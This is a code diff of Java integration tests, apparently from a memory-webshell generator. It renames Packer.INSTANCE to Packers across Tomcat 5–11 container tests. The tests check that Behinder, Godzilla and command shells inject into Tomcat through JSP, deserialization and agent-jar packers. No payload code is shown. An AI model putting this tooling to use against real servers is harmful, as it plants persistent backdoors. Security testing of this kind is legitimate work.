-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,36 +41,36 @@ public class Tomcat10ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -83,7 +83,7 @@ public class Tomcat10ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,24 +42,24 @@ public class Tomcat11ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -72,7 +72,7 @@ public class Tomcat11ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,24 +42,24 @@ public class Tomcat11JRE21ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -72,7 +72,7 @@ public class Tomcat11JRE21ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,30 +41,30 @@ public class Tomcat5ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
 //                arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
 //                arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
 //                arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
@@ -80,7 +80,7 @@ public class Tomcat5ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Tomcat6ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -84,7 +84,7 @@ public class Tomcat6ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Tomcat7ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
